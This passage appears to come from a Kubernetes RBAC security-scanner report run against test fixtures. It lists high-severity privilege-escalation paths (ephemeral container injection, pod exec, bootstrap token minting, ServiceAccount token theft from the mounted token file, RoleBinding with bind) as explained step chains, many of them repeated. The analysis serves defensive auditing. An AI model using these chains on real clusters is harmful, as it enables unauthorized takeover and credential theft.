    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → namespace-admin score 6.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches namespace-admin in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → RoleBinding write access plus bind.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  3. Step 3 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → namespace-admin score 6.5 4 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches namespace-admin in 4 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Pod creation → ServiceAccount token theft → ….

  1. Step 1 of 4 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

